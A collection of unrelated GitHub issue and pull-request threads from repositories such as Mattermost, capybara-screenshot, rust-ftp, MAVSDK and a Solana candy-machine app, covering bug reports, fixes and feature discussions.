text:
MM-18818 Prompt admins to set the Support Email

Summary
Admin Advisor now prompts system admins if support email is not configured.
Ticket Link
https://mattermost.atlassian.net/browse/MM-18818
Related Pull Requests

Has server changes - https://github.com/mattermost/mattermost-server/pull/17296

Screenshots

Hello @harshilsharma63,
Thanks for your pull request! A Core Committer will review your pull request soon. For code contributions, you can learn more about the review process here.

/update-branch

/update-branch

Will try to auto merge this PR once all tests and checks are passing. This might take up to an hour.

/update-branch

Do not merge this yet. I'll be making a change in this to sync with the disabled Admin Advisor.

and we are on rate limit again

and we are on rate limit again

I can just for a while. This is nothing urgent or critical.

/check-cla

/check-cla


text:
Add promise rejection handler for custom brand image retrieval

Summary
Adds a promise rejection handler for retrieval of custom brand images.
Errors are handled by setting the presence of a custom brand image (brandImageExists) to false.  This means that an option to remove the brand image will not be presented to the user.
Ticket Link
Resolves mattermost/mattermost-server#17911.
Related Pull Requests
N/A
Release Note
NONE

hey there! thanks for posting and issue and a fix to solve it, that's amazing  :) .
Looks like there is a conflict with master can you fix it?

Thank you, @hahmadia @jgilliam17 @Willyfrog!

source: gharchive/pull-request

authors: Willyfrog jayaddison-collabora

repo: mattermost/mattermost-webapp

license_type: permissive

license_source: github-api


text:
How do you get json body from a 400 bad request?

The API I'm working with responds with 400 Bad Request, with the specifics of the error in the body as JSON. How do I extract this from response? response.statusText just gives me 'Bad Request'.
{
    "message": "(psycopg2.IntegrityError) duplicate key value violates unique constraint \"accounts_name_key\"\n"
}

Something like this?
fetch('https://mattandre.ws/something-that-returns-400-responses')
  .then(function(res) {
    if (res.ok) {
      return res.json();
    } else {
      return res.json()
        .then(function(err) {
          throw new Error("There's an error upstream and it says " + err.message);
        });
    }
  });

Thanks! I didn't realize you could append .then() after res.json()

it's promises all the way down :-)

source: gharchive/issue

authors: matthew-andrews tkiethanom

repo: matthew-andrews/isomorphic-fetch

license: mit

license_source: bigquery


text:
🛑 Test Broken Site is down

In 86aeccd, Test Broken Site (https://thissitedoesnotexist.koj.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Test Broken Site is back up in 783f60c after 9 minutes.

repo: matthewakinola/matt-check

license: MIT


text:
WARN: Screenshot could not be saved. page.current_path is empty

I'm running the test using bundle exec rspec, which gives me the error of:
WARN: Screenshot could not be saved. page.current_path is empty.
also getting this error:
Failure/Error: expect(page).to have_selector(".name", text: "Take Notes").
Here's the test I'm trying to test:
/spec/system/add_task_spec.rb
require "rails_helper"

RSpec.describe "adding a new task" do
  let!(:project) { create(:project, name: "Project Bluebook") }
  let!(:task_1) { create(
    :task, project: project, title: "Search Sky", size: 1, project_order: 1) }
  let!(:task_2) { create(
    :task, project: project, title: "Use Telescope", size: 1,
           project_order: 2) }
  let!(:task_3) { create(
    :task, project: project, title: "Take Notes", size: 1,
           project_order: 3) }

  it "can re-order a task", :js do
    visit(project_path(project))
    find("#task_3")
    within("#task_3") do
      click_on("Up")
    end
    expect(page).to have_selector(
      "tbody:nth-child(2) .name", text: "Take Notes")
      #END:P1
      #START:P2
    visit(project_path(project))
    find("#task_2")
    within("#task_2") do
      expect(page).to have_selector(".name", text: "Take Notes")
    end
  end

end

"WARN: Screenshot could not be saved. page.current_path is empty" is an indication that the browser has yet to load a page. Are you sure the page has loaded?

I was also getting this issue. I noticed that the screenshot are actually getting saved despite what the error says.
To work around this I have added the following monkey patch
Capybara::Screenshot::Saver.class_eval do
  def save
    current_path do |path|
      if path.empty?
        next ### CUSTOM
        #warn 'WARN: Screenshot could not be saved. `page.current_path` is empty.'
      else
        begin
          save_html if @html_save
        rescue StandardError => e
          warn "WARN: HTML source could not be saved. An exception is raised: #{e.inspect}."
        end

        begin
          save_screenshot
        rescue StandardError => e
          warn "WARN: Screenshot could not be saved. An exception is raised: #{e.inspect}."
        end
      end
    end
  end
end

I think that likely a fix is due here.

This is a continuation of this thread: https://github.com/mattheworiordan/capybara-screenshot/issues/243

It looks like this warning occurs due to multiple problems. In my case, it is not saving the screenshots as @westonganger  suggests above, so that fix doesn't help me.
GalenkoEugene's comment helped me discover that my problem was caused by Capybara.reset_sessions! in an rspec after hook, but that fix doesn't apply as I'm not using the retry gem (maybe I should..). I guess the browser 'window' is closed before this gem has a chance to take the screenshot.
I found in my case reset_sessions was intended to clear cookies, so I've replaced it with a more direct method to do that (thanks makandra) and it seems to be working! For those looking for code to try out:
  # Delete cookies after all responses have completed
  config.after(:each, js: true) do
    RackRequestBlocker.wait_for_requests_complete
    # Capybara.reset_sessions! # <- that was too extreme, let's try a gentler method:
    Capybara.current_session.driver.browser.manage.delete_all_cookies # Delete cookies with Selenium
  end

So it seems this is often due to conflicting configuration. I don't know enough to be able to suggest how it could be generally resolved.

authors: MunimIftikhar christianhellsten dacook westonganger

repo: mattheworiordan/capybara-screenshot


text:
Clarify README.md

We may consider clarifying the tab triggers listed in README.md by noting that the underscores indicate empty space surrounding the trigger.

Agree, I am a new user and spent quite some time to figure it out until I saw this comment.

authors: earliest jasonharrison

repo: matthewrobertson/ERB-Sublime-Snippets

license: WTFPL


text:
SSL error

Describe the bug
I get a SSL error with my Heltec Lora esp32.
To Reproduce
Steps to reproduce the behavior:
The only thing in the 'MQTT example' script that I changed is the following.
    const char ssid[] = "WiFiSSID";
    const char pass[] = "WiFiPassword";
    #define HOSTNAME "hostname"
    const char MQTT_HOST[] = "xxx.yyy.zzz.com";
    const int  MQTT_PORT = 8883; // I used port 1883
    const char MQTT_USER[] = "";
    const char MQTT_PASS[] = "";

Expected behavior
The other example shows the lora messages (that works), my laptop can connect to MQTT, so that works.
I would assume the scripts works without any certs
Debug Log
15:01:28.190 -> Checking wifi...
15:01:28.190 -> MQTT connecting... [I][ssl_client.cpp:127] start_ssl_client(): WARNING: Skipping SSL Verification. INSECURE!
15:01:28.238 -> [E][ssl_client.cpp:36] _handle_error(): [start_ssl_client():216]: (-80) UNKNOWN ERROR CODE (0050)
15:01:28.238 -> [E][WiFiClientSecure.cpp:133] connect(): start_ssl_client: -80
15:01:28.238 -> .[I][ssl_client.cpp:127] start_ssl_client(): WARNING: Skipping SSL Verification. INSECURE!
15:01:29.237 -> [E][ssl_client.cpp:36] _handle_error(): [start_ssl_client():216]: (-80) UNKNOWN ERROR CODE (0050)
15:01:29.237 -> [E][WiFiClientSecure.cpp:133] connect(): start_ssl_client: -80

Embedded Device (please complete the following information):

Board:  #https://heltec.org/project/wifi-lora-32/
Arduino Version: 1.8.15

Which Board Support Package are you using? I am using esp32 1.0.6
Besides, I am using Arduino 1.8.19.
I am not sure if this might relevant, but I think it's worth trying.
BTW: Port 8883 is for secure MQTT (SSL), port 1833 for non-secure MQTT. You have to make sure that your client uses a port which is provided by your MQTT broker.
The issue seems to be related rather to the arduino-mqtt library than to BresserWeatherSensorReceiver.
Maybe it helps to check if the examples provided in arduino-mqtt are working with your setup.

Ahh - maybe most important: which version of arduino-mqtt are you using? Mine is v2.5.0.

Thanks for your quick reply, I looked at arduino-mqtt example and I noticed that they used WiFiClient instead of WiFiClientSecure. Which works for me,
I guess the net.setInsecure(); is not working somehow. (I disabled it for now)

Hopefully fixed in https://github.com/matthias-bs/BresserWeatherSensorReceiver/commit/c7c415ab40b0115ec7b6908ec9dfdfd8cab5b324
Could you please check?

Hopefully fixed now: https://github.com/matthias-bs/BresserWeatherSensorReceiver/commit/ee16ad16bd72915772de8a7dd8ff3c89048ae29b
Could you please check?

I checked, I think its actually only happening if I selected the heltec board in Arduino IDE. If I pick esp32dev it is working...

Thank you for the feedback! For other reasons, I recommend to update to v0.4.0, though.


text:
add main so we can require it with webpack

add main so we can require it with webpack

Thanks @apansky

authors: apansky matthieua

repo: matthieua/WOW


text:
Export sqlite3_column_table_name

Will help fix https://github.com/rqlite/rqlite/issues/530

Codecov Report

Merging #900 (4823017) into master (3cbdae7) will increase coverage by 0.03%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master     #900      +/-   ##
==========================================
+ Coverage   46.80%   46.84%   +0.03%
==========================================
  Files          11       11
  Lines        1457     1458       +1
==========================================
+ Hits          682      683       +1
  Misses        640      640
  Partials      135      135

Impacted Files
Coverage Δ

sqlite3.go
53.11% <100.00%> (+0.05%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3cbdae7...4823017. Read the comment docs.

Codecov Report

Merging #900 (4823017) into master (3cbdae7) will increase coverage by 0.03%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master     #900      +/-   ##
==========================================
+ Coverage   46.80%   46.84%   +0.03%
==========================================
  Files          11       11
  Lines        1457     1458       +1
==========================================
+ Hits          682      683       +1
  Misses        640      640
  Partials      135      135

Impacted Files
Coverage Δ

sqlite3.go
53.11% <100.00%> (+0.05%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3cbdae7...4823017. Read the comment docs.

Any plans to merge this? Or do I need to proceed with my own fork?

Any plans to merge this? Or do I need to proceed with my own fork?

Still no plan to merge this into the master branch?

Still no plan to merge this into the master branch?

Thank you

Thanks for merging!

authors: codecov-io mattn otoolep


text:
Unify the library's interface and tidy up some code

I realize that this is a fairly controversial and large pull request.  I've been using rust-ftp a fair bit lately and have found the code a bit confusing to navigate at times.  It is evident that you, Matt, were improving your Rust skills as you wrote the library and I can see you've become a lot more comfortable with error handling in particular as you progressed.  Because of the library's earlier roots, some code was implemented with an unnecessarily large amount of Result unwrapping, by way of match.  One of the big things I set out to do here is make the implementation of each method more consistent.
Another thing I wanted to set out to do here was introduce a custom error type, FtpError, so that the library only ever returns that one error type in its interface. This allows for much simpler usage, as a user could now chain operations together using Result.and_then() without having to do much intermediate error type inspection and conversion.
You'll also see that I have changed the return types of the messier secure() and secure_with_ssl() methods, which had previously returned a tuple containing a (hopefully) modified FtpStream and an io::Result<()> in the case of error.
If you'd like for me to elaborate on any of the choices I made or would like to discuss the impact or desirability of any of these changes, please don't hesitate to let me know. Since this refactoring is so substantial, I understand if there are parts you disagree with. If you feel that the changes I made are generally not in the spirit of your own intentions, you can reject this PR and I will create my own distinct version of the library.

I was actually planning on getting to adding the error stuff eventually. I have already done something similar in my imap library. I do have a couple of questions to ask.

Would it be better to define our own Result type ?
This would be much like how io defines it own Result.
For example you could define pub type Result<T> = result::Result<T, FtpError>;
Then you could return this result from each function.

Could we put an SslError in the SecureError instead of a String ?
It seems that SSL library returns an SslError. If we just wrap it you could programmatically
get information out of the error instead of a string that is harder to match against programmatically.

Other than that I really like the changes!

Regarding your two questions:

Absolutely, we can do that. I can either do that this evening and push it into this branch or, if you'd like to merge this before then, you can certainly add it where it makes sense.
I had actually tried to put SslError inside of SecureError, with a definition like the one below, however I found that I could no longer match on FtpError to get the SslError out if the "secure" flag wasn't enabled, because I'd get an error about SslError not being imported. If you already know how to deal with that scenario, by all means please do implement it. It would absolutely be an improvement.

Regarding the Travis build; do you have any suggestions about what to do to get it passing? I've verified that example code still works locally, and got the test_ftp example working locally by tweaking the credentials to match my setup. So my confidence that this works is fairly high, but I definitely would like for the build to be passing.

You can put make the change, and put it into this branch.
I didn't think of that. It should be fine that way it is for now.

For the Travis build we setup a FTP server. I believe it is configured to use the username anonymous. That could be why it is failing. We really don't have a lot of testing at the moment, and I would like to at least have a decent amount of coverage.
On the testing side of things I was thinking of creating a fake FTP server in Rust, and testing against it. Rather than needing an FTP server installed locally for testing. What do you think about this idea ?

I'd actually love for this library to be able to also supply functionality for a server. It would help my own use case as well, and give us a full package.
I'll make a point to also change the credentials in the test_ftp back to the anonymous username you mentioned when I make my other changes.

Nice. Reverting to the old credentials fixed the build.
Also got that custom type implemented.

I'm going to merge this in. I'm also going to update the crate version.

authors: mattnenterprise zsck

repo: mattnenterprise/rust-ftp


text:
[BUG] - Remove blog from jumbotron when not in use

Describe the bug
We aren't going to use the blog feature, but there's no way in the config to not have "Blog" show up in the jumbotron div.
To Reproduce
Steps to reproduce the behavior:

Working on upgrading Page it to the Limit site to 1.14.1
Added no additional settings to config.toml for the blog feature
Blog shows up in jumbotron and results in a 404

Expected behavior
If the blog section isn't initialized in config.toml, there should be no mention of a blog on the site.
Screenshots

Desktop (please complete the following information):

OS: OS X
Browser: chrome and firefox
Hugo version v0.74.3

Additional context
I copied some code out of head_includes.html to suppress the blog button, and that seems to work. I don't know if that is the best way to do it though.
I added
{{ if eq .Section "blog" }}
at line 75 and an end at line 81

oh snap. This should be fixed soon. Sorry!

I am pushing up a PR now to fix this; had to do something a little different but I think it works!

There'll be a fix released in the next 10 min or so!

authors: lnxchk mattstratton

repo: mattstratton/castanet


text:
[User Info Page] AAUser I can update my api key on file

Description:
This is a full stack ticket. We want to update the API key on file.
Dependent on the previous ticket #151
Validation Steps:
Screenshot of update details button.
When I change my api key using the user info page, it updates in the database.
Tech Steps:

[ ]  Create update APIKey button
[ ] On click show an input box
[ ]  Call the updateUser api call (APIGateway). Use the UpdateUserLambdaInput as the body of the request

Resources:
The body required by the updateUser api.
interface UpdateUserLambdaInput {
  apiKey: string;
  userId: string;
}

use this ui library https://www.radix-ui.com/primitives/docs/components/toolbar#button

repo: mattzcarey/code-review-gpt


text:
Define the authentication model

We need to build AAD authentication into this. The application has to be multi tenant capable so any Azure subscription can log in. In addition, the application still has to work in anonymous mode if all we want is to share a diagram with others.
In order to make the authentication work we will also need a database for storing this multi tenancy data. Eventually we might need to partition this database but I wouldn't worry for this here.

You want to keep a record of all users and have roles associated to them? we can create an Azure database for that. inserts records on first sign up

authors: matvelloso rsarieddine

repo: matvelloso/AzureLens


text:
Burst of location events fired when backgroundGeolocation.start is triggered

Your Environment

Plugin version: 2.1.2
Platform: iOS, Android
Device manufacturer and model: any
Cordova version (cordova -v): 6.2.0
Cordova platform version (cordova platform ls):

android 5.1.1.
ios ~4.1.0.

Plugin configuration options: not relevant
Link to your project: https://github.com/mauron85/cordova-plugin-background-geolocation

Context
After backgroundGeolocation.start is called, there is burst of location due to data sampling (determining accurate initial location). However this very unpleasant as this samples have various accuracy.
Expected Behavior
Only one best location is send instead
Actual Behavior
Burst of location (5 on android and event more on iOS) is send instead.
Possible Fix
Filter sample locations in plugin
Steps to Reproduce

configure plugin `backgroundGeolocation.configure' with callback function
call backgroundGeolocation.start

Context
Rendering user movement on map is mostly affected by this

@mauron85 Did you do anything about this?
On iOS, I'm currently experiencing the opposite of this issue. The time for the app to receive it's first location can be anywhere from 20 to 30 seconds if the device is not moving and I'm indoors. The HTML geolocation callback takes around 3-5 seconds and provides a 'good enough' location almost instantly.
While moving, or after initial app startup (resuming from background), location updates are very fast and behave just as expected.
I'd rather have a stream of gradually improved location updates than to wait for a 'good' location update. Is something up with my config or is this expected behavior?
Project settings
cordova-plugin-mauron85-background-geolocation 2.2.4 /w #186 fork
iOS9
iPhone5s
Config:
          desiredAccuracy: 0,
          maxLocations: 10000,
          debug: false,
          pauseLocationUpdates: false,
          locationProvider: 1,
          distanceFilterCalculationAlgorithm: 0,
          notificationText: '',
          stopOnStillActivity: false,
          startForeground: true,
          notificationTitle: this.localize('gps-is-active'),
          stationaryRadius: 5,
          distanceFilter: 10,
          interval: 1000,
          fastestInterval: 1000,
          activitiesInterval: 500,
          saveBatteryOnBackground: false,
          acitivyType: 'Fitness'


text:
turn off notifications which are coming from plugin

I want to turn of all the notification which are coming from plugin, but i want to track the location every 5secs,
i made debug:false, in my code and in
componentDidMount(){
BackgroundGeolocation.on('location', (location) => {
      console.log("location123:"+JSON.stringify(location))
      // handle your locations here
      // to perform long running operation on iOS
      // you need to create background task
      BackgroundGeolocation.startTask(taskKey => {
        console.log("taskKey123:"+taskKey)

      //here i will call my api and send the locations to db
       })
  })
}

i don't those notifications which are coming from plugin and i want to store my location in db when app is in background for every 5 secs.
Please help me or give me some suggestions  how can i use this module for that.

@mauron85 please respond

I don't understand your problem. Please fill issue template, so I can help.

@mauron85 his problem is that on iOS there is a local notification constantly being sent.

Please post output of:
BackgroundGeolocation.getConfig(function(config) { console.log(config); });


text:
More than one nested enum cause error.

Putting more than one enum in proto message cause error.
Example:
message TestMessage {
enum FirstEnum {
STUB_FIRST = 0;
}

enum OneMoreEnum {
STUB_ONE_MORE = 0;
}

FirstEnum first_enum_val = 1;
OneMoreEnum second_enum_val = 2;
}

Run protoc:
$ ./other/tools/run_protoc.sh

Error:
Traceback (most recent call last):
File "mavsdk-python/.venv/bin/protoc-gen-dcsdk", line 11, in <module>
load_entry_point('protoc-gen-dcsdk', 'console_scripts', 'protoc-gen-dcsdk')()
File "mavsdk-python/proto/pb_plugins/protoc_gen_dcsdk/__main__.py", line 17, in main
AutoGen.generate_reactive(request).SerializeToString())
File "mavsdk-python/proto/pb_plugins/protoc_gen_dcsdk/autogen.py", line 34, in generate_reactive
docs = Docs.collect_docs(proto_file.source_code_info)
File "mavsdk-python/proto/pb_plugins/protoc_gen_dcsdk/docs.py", line 60, in collect_docs
docs['structs'][struct_id]['enums'][nested_enum_id]['params'].append(
IndexError: list index out of range

Oh, that's good to know. I'll have a look at the protoc plugin.

I would assume this has been resolved in the meantime?

Yes it is! With protoc-gen-mavsdk 1.0.1

authors: JonasVautherin irsdkv julianoes

repo: mavlink/MAVSDK-Python


text:
Bug in MissionRawImpl::set_current_mission_item_async()

Found this check in the MissionRawImpl::set_current_mission_item_async method. The && should be an || and should be an easy fix.
if (index < 0 && index >= _mission_progress.last.total) {
        _parent->call_user_callback([callback]() {
            if (callback) {
                callback(MissionRaw::Result::InvalidArgument);
                return;
            }
        });
    }

Do you feel like opening a PR for it, so that you get the credit? :innocent:

Wow.  That's a great idea.  Never done that on a public project before.
Will have to investigate!
On 11/29/22 12:48 PM, Jonas Vautherin wrote:

Do you feel like opening a PR for it, so that you get the credit? 😇
—
Reply to this email directly, view it on GitHub
https://github.com/mavlink/MAVSDK/issues/1936#issuecomment-1331284024,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AF2F5VNCMYPYCQJRO6PEYSLWKZT2LANCNFSM6AAAAAASOWTWN4.
You are receiving this because you authored the thread.Message ID:
@.***>

Just ping me here if you need help or decide to give up. But I think it's worth it. It's something like this:

Fork the repo
Clone your forked repo (that will be your origin remote)
Create a new branch for your fix, say git branch fix-mission-set-current-item
Commit your changes, and push to github. In the terminal, you will see instructions for opening a PR (basically a link to open in your browser). If you miss that and open your repo in github, the UI will offer you to create a PR.
Create a PR that points to mavlink/MAVSDK. Bonus: in the PR description, write "Resolves #1936".
That's it, we should see it here!

Whoops, good catch @steveb2014.

authors: JonasVautherin julianoes steveb2014

repo: mavlink/MAVSDK


text:
fix: fix terminal breaking on no invalid language

This commit fixes the terminal breaking on invalid language entry in config. Also, partialresult is removed as a part of linting.

Thanks for the contribution!

authors: max-niederman sandeshbhusal

repo: max-niederman/ttyper


text:
Vue file edits are not shown in Code::Stats profile page

Any edits I make to files with extension .vue and language as shown by zed Vue.js are somehow not sent over to Code::Stats.
There is this .vue extension switch case line here, which suggests that it should work, but not working for me

Hey @maxdeviant.

Thank you for reporting!
It should be fixed in v0.2.3 of the extension: https://github.com/zed-industries/extensions/pull/1684

You are welcome
Thanks a lot!

authors: HarshNarayanJha maxdeviant

repo: maxdeviant/zed-code-stats


text:
Awesome Books: First Proyect

Awesome Books is an exercise in which I will build a basic website that allows users to add/remove books from a list. I will achieve that by using JavaScript objects and arrays. I will also need to dynamically modify the DOM and add basic events. The goal here is to master all of the tools and best practices learned about in previous steps to use them in all Microverse projects and most likely in my future job as well.

Hi @shahadat3669 the coding buddy you mentioned above Bouhmid Ben Jmii is not active, he is not connecting to meetings nor did he send us a message. Now we communicate with Student Succes so as not to waste time with the projects.

Maximo and Daniel Felipe has been given permission to continue this week without their third partner. Please don't invalidate their pull requests if it does not have commits from their 3rd partner Ahmed, if you have any doubts please contact Marco from the Student Success team via the Code Reviewers Slack Workspace.

repo: maximoortelli/Awesome-Book


text:
Messages with Association arguments

Changes

Usually, messages in Wolfram Language take numbered arguments.
However, Failure objects have an Association as a second argument, which fits perfectly with specifying the arguments of the failure with descriptive keys.
Then, it would be convenient to be able to turn that Failure object directly into a message which would take the same keys as arguments.
The built-in Message function, however, does not support passing Association arguments to the message strings.
This PR implements PackageScope declareMessage and message that allow one to do that.
message can also directly take Failure objects and create messages from them.

Comments

This will be particularly important for the Multihistory system where conversion functions and properties will need to report errors "far away" from where the messages will be produced.
The idea is that these functions will throw Failure objects which will then be caught by a function from the Multihistory infrastructure which will then generate a message with an appropriate head depending on which symbol triggered the conversion/property computation.

Examples

Declare a message:

declareMessage[General::vertexNotFound, "Could not find vertex `vertex` in hypergraph `hypergraph`."];

Generate a message:

message[hypergraphNeighborhood::vertexNotFound, <|"hypergraph" -> {{1, 2, 3}, {3, 4, 5}}, "vertex" -> 0|>];

You can also create a message directly from a Failure:

All this technology allows for a very simple implementation of message-throwing functions:

expr : HalfInteger[x_] := ModuleScope[
  result = Catch[halfInteger[x], _ ? FailureQ, message[HalfInteger, #, <|"expr" -> HoldForm[expr]|>] &];
  result /; !FailureQ[result]
];

halfInteger[x_ ? EvenQ] := x / 2;

declareMessage[HalfInteger::odd, "The number `number` in `expr` is odd."];
halfInteger[x_ ? OddQ] := throw[Failure["odd", <|"number" -> x|>]];

In[] := HalfInteger[4]
Out[] = 2

In[] := HalfInteger[3]
During evaluation of In[] := HalfInteger::odd: The number 3 in HalfInteger[3] is odd.
Out[] = HalfInteger[3]

This change is

@taliesinb, @daneelsan, this is ready for review. I don't plan to implement anything else here.

@taliesinb, @daneelsan, could you give an ETA on when can you look at this?

@maxitg Looking at it now

It seems there is/was an attempt to make Message work with templates:
In[] := Message[MessageObject[<|"MessageSymbol" -> HoldForm[b],
    "MessageTemplate" -> "Hello `world`!",
    "MessageParameters" -> <|"world" -> 3|>|>]]; $Failed
Hello 3!

Out[] = $Failed

authors: daneelsan maxitg

repo: maxitg/SetReplace


text:
license clarification

What's the license for code in this repo?

MIT License

authors: maxmaxme osmoc

repo: maxmaxme/navalny-call


text:
If we wanted to publish a refined version of an important but poorly maintained government database and set the standard for "doing it right" with dat, how would we do it?

Asking for a "friend."

GitHub
On Tue, Jun 23, 2015 at 9:03 PM, Ben Welsh notifications@github.com wrote:

Asking for a "friend."
—
Reply to this email directly or view it on GitHub
https://github.com/maxogden/dat/issues/347.

--
Max West

Thanks. Could you point to an example that you think is done particularly
well?
On Tue, Jun 23, 2015, 7:36 PM Max West notifications@github.com wrote:

GitHub
On Tue, Jun 23, 2015 at 9:03 PM, Ben Welsh notifications@github.com
wrote:

Asking for a "friend."
—
Reply to this email directly or view it on GitHub
https://github.com/maxogden/dat/issues/347.

--
Max West
—
Reply to this email directly or view it on GitHub
https://github.com/maxogden/dat/issues/347#issuecomment-114706135.

repo: maxogden/dat


text:
Hold note hit sounds

As a player, I want the hold note hit sounds to be consistent so that I know exactly when I've messed up.

Currently, hit sounds can only play when you press and release the hold note. There are certain scenarios where the hit sound never plays.
A miss sound should play if you miss the hit time
A miss sound should play if you never release at the end time

Reliant on #378

Implemented in  #418


text:
Invalid URL error when connecting to localhost:3000 on spun up candy machine

Terminal Output:
$ next dev
ready - started server on 0.0.0.0:3000, url: http://localhost:3000
info  - Loaded env from C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.env.local
info  - Using webpack 5. Reason: Enabled by default https://nextjs.org/docs/messages/webpack5
info  - automatically enabled Fast Refresh for 1 custom loader
event - compiled successfully
event - build page: /
wait  - compiling...
event - compiled successfully
undefined
event - build page: /next/dist/pages/_error
wait  - compiling...
event - compiled successfully
undefined
TypeError [ERR_INVALID_URL]: Invalid URL
at new NodeError (node:internal/errors:371:5)
at onParseError (node:internal/url:552:9)
at new URL (node:internal/url:628:5)
at new Connection (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine\node_modules@solana\web3.js\lib\index.cjs.js:3504:15)
at Object../hooks/useWalletBalance.tsx (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:37:20)
at webpack_require (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\webpack-runtime.js:25:42)
at Object../pages/_app.tsx (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:222:81)
at webpack_require (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\webpack-runtime.js:25:42)
at webpack_exec (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:1329:39)
at C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:1330:28 {
input: 'undefined',
code: 'ERR_INVALID_URL'
}
info  - automatically enabled Fast Refresh for 1 custom loader
error - TypeError [ERR_INVALID_URL]: Invalid URL
at new NodeError (node:internal/errors:371:5)
at onParseError (node:internal/url:552:9)
at new URL (node:internal/url:628:5)
at new Connection (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine\node_modules@solana\web3.js\lib\index.cjs.js:3504:15)
at Object../hooks/useWalletBalance.tsx (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:37:20)
at webpack_require (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\webpack-runtime.js:25:42)
at Object../pages/_app.tsx (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:222:81)
at webpack_require (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\webpack-runtime.js:25:42)
at webpack_exec (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:1329:39)
at C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:1330:28 {
input: 'undefined',
code: 'ERR_INVALID_URL',
page: '/'
}
undefined
TypeError [ERR_INVALID_URL]: Invalid URL
at new NodeError (node:internal/errors:371:5)
at onParseError (node:internal/url:552:9)
at new URL (node:internal/url:628:5)
at new Connection (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine\node_modules@solana\web3.js\lib\index.cjs.js:3504:15)
at Object../hooks/useWalletBalance.tsx (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:37:20)
at webpack_require (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\webpack-runtime.js:25:42)
at Object../pages/_app.tsx (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:222:81)
at webpack_require (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\webpack-runtime.js:25:42)
at webpack_exec (C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:1329:39)
at C:\Users\swert\OneDrive\Desktop\Solana\next-candy-machine.next\server\pages_app.js:1330:28 {
input: 'undefined',
code: 'ERR_INVALID_URL'
}

Your rpc url is undefined in your .env.local

@maxwellfortney Not the case, here is my .env.local:
REACT_APP_CANDY_MACHINE_CONFIG=9hVmrLSokvR3KvE8Dypfm34qWThEwu4HxCsGpofxrvRw
REACT_APP_CANDY_MACHINE_ID=BCanRDVvogfKNS4WBW5vCk7omhYCPjqQLM9pqkEoYKjy
REACT_APP_TREASURY_ADDRESS=HsYv8LFEqsA9SChspR6B2DpND7mqVS5GRqmzHRiKNo7p
REACT_APP_CANDY_START_DATE=1637179200
REACT_APP_SOLANA_NETWORK=mainnet-beta
REACT_APP_SOLANA_RPC_HOST=https://explorer-api.mainnet-beta.solana.com/
Spins up just fine with the normal candy-machine-mint, just fails once I try to visit localhost:3000 after spinning the next candy machine up

thought it may have been a problem with the backslash, maybe it was appending 2 backslashes, but removing it had no effect. Also tried to spin up on an ubuntu 18.04LTS machine, same error

All of your items are incorrect. Please follow the .env.template

DOH! I'm braindead, thought it followed the same .env format. Thank you for your time

authors: Swertin maxwellfortney

repo: maxwellfortney/next-candy-machine


text:
Playlist functionality

NodeTube needs playlists, I had written out a spec a while ago maybe I can go back and find it

Should have the ability to 'download playlist' as well

repo: mayeaux/nodetube


text:
implement svg captcha

implement svg captcha for registration:
https://github.com/produck/svg-captcha#readme

Recaptcha is probably more effective but to have the option without needing a key is needed for sure.


text:
Not functioning

After updating to the latest version, the complete page header and tab bar are gone.
Logs:
ogger: frontend.js.latest.202005191
Source: components/system_log/init.py:209
First occurred: 21:20:40 (22 occurrences)
Last logged: 21:27:48
https://www.gloudemans.info:8123/hacsfiles/custom-header/custom-header.js:1:15443 TypeError: undefined is not an object (evaluating 'e.voice.setAttribute')
https://www.gloudemans.info:8123/frontend_latest/chunk.5ef968208258097f0ba7.js:2:20625 TypeError: undefined is not an object (evaluating 't._leaflet_pos')
https://www.gloudemans.info:8123/hacsfiles/lovelace-swipe-navigation/swipe-navigation.js:10:20 TypeError: null is not an object (evaluating 'root.lovelace')
Logger: frontend.js.latest.202005190
Source: components/system_log/init.py:209
First occurred: 21:19:08 (5 occurrences)
Last logged: 21:19:25
https://www.gloudemans.info:8123/hacsfiles/custom-header/custom-header.js:596:55148 TypeError: null is not an object (near '...ha-panel-lovelace").lovelace,!t)return;...')
https://www.gloudemans.info:8123/hacsfiles/frontend-20200521162326.js:1:17191 NotSupportedError: Cannot define multiple custom elements with the same tag name
HA 0.110.1
Plugin 1.4.3
HACS 1.0

Same here with the same setup

same problem

again all broke

Same issue. My page header and tab bar are gone.
HA 0.110.1
Plugin 1.4.3
HACS 1.0

Same issue. My page header and tab bar are gone.
HA 0.110.1
Plugin 1.4.3
HACS 1.0

all hell broke loose, lost all my menu

all hell broke loose, lost all my menu - reverted back to 1.3.8 menu is shown again -
DOWNGRADE from 1.4.3 guys.

Can't do with the new HACS

весь ад вырвался на свободу, потерял все мое меню - вернулся обратно в 1.3.8, меню снова отображается -
